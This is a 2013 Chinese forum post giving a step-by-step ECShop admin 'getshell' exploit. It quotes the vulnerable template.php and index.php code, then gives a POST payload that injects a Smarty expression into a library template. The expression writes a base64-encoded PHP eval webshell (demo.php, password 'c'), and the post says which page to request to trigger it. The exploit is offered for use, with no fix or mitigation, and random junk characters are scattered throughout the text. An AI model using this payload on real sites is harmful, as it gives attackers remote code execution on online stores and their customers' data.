找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2729|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板* _" D* J# z* [/ A7 U: P
, p  [/ u8 G, r) E1 u! q
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
7 {; a+ d3 x0 F& u" `6 x但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
! H3 u6 O! P9 e8 G* `admin/template.php3 _5 G2 ]: F% {/ |' f0 w) S* ?
2 T! E4 O/ n, v  P) p4 Y$ U& s* {
1 if ($_REQUEST['act'] == 'update_library') $ N% R' s5 x) @# p+ A* h+ u
" f3 [# H* Y$ g/ d: M/ c# c! I
2   
0 U' S( S& y; @2 q
6 k% k4 @5 U7 l$ ?0 [3 { + U2 c3 r" Z: R( z) {3 S; v; l& _
- j. ~% `& J  T' s1 z
4     check_authz_json('library_manage'); 7 ]' S/ O2 P- S
; ~3 F* C9 _" H) x6 i, p' ]" O  D
5   
8 }. |& `8 ?& v' u. l3 e
% B% B" y/ I# ]  S: }- c8 x6     $html = stripslashes(json_str_iconv($_POST['html'])); ! I7 U2 i1 g; Z7 G+ {/ B

' h: M5 B' R6 B! H7 h& O7   ' U/ z% h2 u7 o# B

+ y6 P8 H0 h3 m5 L8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 , I9 \* }' Y8 X* X' g
+ E* V4 k. l3 ~; O: Z( B. y
9   0 p& ~3 C6 c" s  [9 z0 D6 Y, v

$ B1 I6 L! Y: d/ T10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
# e/ Q7 ^1 a1 S& l4 A) S
. w% g8 Y8 w' a: i/ S+ `/ V; W11   
% e5 `+ ?$ t6 q; v" C5 g
" p2 [! a. N  s7 ~5 p12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); * Y! {+ }' b4 e5 k
. q% @: {) m2 S+ d% }2 C, A1 P
13   % G6 C" c( I8 V' C! L
0 v) A. w9 ]4 j1 I' p
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 2 v6 W6 r  w2 O: X8 ~

! c8 {4 u+ P/ Y6 D' X7 a2 |1 d15     { & C  @: b9 v' N- ?) g2 @7 J
- N/ M2 h# O$ \+ a' A
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); / V1 b9 H( L7 P9 ]; y# T) W, z# A( c' A: C
7 a8 w& {/ v. `/ J' g
17         make_json_result('', $_LANG['update_lib_success']); ) a. ]0 Q: H  X3 \2 h' h0 P

( Z+ t0 Q3 c' t18     }
3 Z3 O: R7 }- b/ ]8 B6 p8 J( l
19     else 4 ?3 Q5 Q; O. e

3 E& B/ T- I3 b20     {
' k( H$ h& B( g4 R7 I/ t3 w
) u, s; `$ z6 z0 @21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); : O3 h- a- |0 b4 o# c
! p- E* \, M( z* |  i# Z1 ?
22     } 7 f. b  m9 N, P; A5 I* d3 T' ?+ e
0 t; U! P' y( x# j; q' F5 l; z+ l
23 }
6 x1 l4 [! p/ {3 L) O* f! H/ ~
$ I* K5 j& D0 a0 P1 I: G那么找个比较方便调用了模板的文件) `# [% [" d# t$ E
index.php
$ L( U  @6 \# H$ n% r, l3 \5 ]9 q1 s- V! Q: l: S6 d
1 if ($act == 'cat_rec') 5 K. m: I& `" Z0 ~

9 ~* U  T8 E% h/ ?: Y) V2   9 O  H5 c/ |1 ~& Q! L
& i$ h5 F* T" f6 j
3 {
7 ^/ @$ N) _8 E* g2 U, b- C) l& y) P+ _- `; T4 Z- g
4   
3 W4 _6 e) D3 d, w
* i0 Y1 \& P" O4 U8 ?" Q5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); / ]; L0 O  U% X' j2 c
4 d/ o3 p& _, Q0 @6 d1 G
6   # F7 e* |; N. V) W

3 w( [: u* w  |& L4 G- L8 `7 \7 I7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; / @" o0 n* t3 C+ W% F: q0 g

4 Y+ r  T( ~( p* y2 x8   / |9 D7 N( O: S- z) b
7 m. F4 ^& ~+ R( X- [
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 2 h3 M. D' R1 @) ~# |, ^9 Z4 [7 p

5 c( [$ G& s/ c4 T; O" X10   
# L2 Q. s$ s. j, Y9 ?0 G+ O
! [5 t- q1 t4 S$ V+ a* [11     include_once('includes/cls_json.php');
+ v7 @1 C% X: x# w! i
5 [* C9 W8 Q9 V; z( N5 U12   % k9 _5 U/ q/ t0 L, h
! I6 G6 E4 u. U5 G7 l1 i
13     $json = new JSON; 6 a" [* A  ~0 D
* W8 ]; S5 K+ I6 {0 U  h, b
14     ^1 [  u) T/ f, C4 W  B$ E

& G& x  |2 o2 `7 K, |15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
* c8 H$ {4 `( u% E& U- P- i3 R
) g# f" w/ T' \+ F- c$ p16   
6 s& X& D/ D6 M: P4 E; E! `- l) c7 ?2 g7 S+ e1 r" U( B
17     $children = get_children($cat_id);
* N' u0 \* Y* B% }" \7 D# o! @$ c0 g! A
18   
; U# `6 A  W2 @' q( P- \9 |) Y7 m3 P+ _8 b+ I/ r% D
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
" O/ k" l5 i# ]* j# T  e, H( i* j4 s  d5 ~5 ~
20   
# |$ u& `# P) V; k+ u$ d. z
7 S% ]* e+ o$ Y7 p8 s0 w21     $smarty->assign('cat_rec_sign', 1);
$ S# \% \# Z% S( P1 @. ]" \
  j) }0 L- Q* X22   
4 A4 O0 y- S* x& b- h* g, @5 R4 V. u% C  W1 ]
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
0 o/ Y+ t5 F8 {& `/ G7 D5 ^4 A
' G7 ^& U2 u  I$ g# _3 A+ t# J$ H24   % W  ]* |0 t0 H$ w4 W
3 ~5 z( a0 u+ j0 O( ?, R/ }9 a
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 6 E5 [: q! c9 u3 [+ z7 k$ p3 @, r& i

, M3 s; r0 J$ K& I) j, ~26   , L1 A  `( b  }( c' }& V) T

5 W; b4 W0 B! q% O27         echo $rec_array[$rec_type]; 2 d+ T  M9 c1 E9 K0 i
: m( D0 N( D+ F. E% M
28   
% @! s5 R9 [+ z) }% j6 Q
* h3 J7 l( U, ~8 A5 l  S2 m+ R+ _% S29     die($json->encode($result));
! F9 Y- H# V$ o9 E: ^
5 S$ ^4 z6 N" S% R30   8 O" L6 F  w9 R0 u" @1 k8 h% h
, M* @' a  L) W6 M6 s' x5 S
31 } ( U0 A- ^0 x' F/ X7 s
& P) y# h$ y/ ^2 k2 g
那么就有利用方法了
1 e$ |1 V2 ~- P6 ~, L" bpost包到http://localhost/ec/admin/template.php?act=update_library
1 j8 X" b% s, E4 D) v2 }* y' CPost内容:- @5 e; k" t. X' _

; F9 C: \, a7 _$ Y5 o' U​
) t, N' ?# G* }. D1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} " M4 V0 G* d) n$ H/ R  i0 U0 X+ x
" L( L* R# c5 r" @
然后访问http://localhost/ec/index.php?act=cat_rec. E2 b$ q' a$ `* X5 u

# B, A, R" |& \9 H8 lshel地址:http://localhost/ec/demo.php( u9 z; C( r4 B+ F: K
密码c4 [2 F: a+ J! ~$ q% [  [

& s. f# N; ?* S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表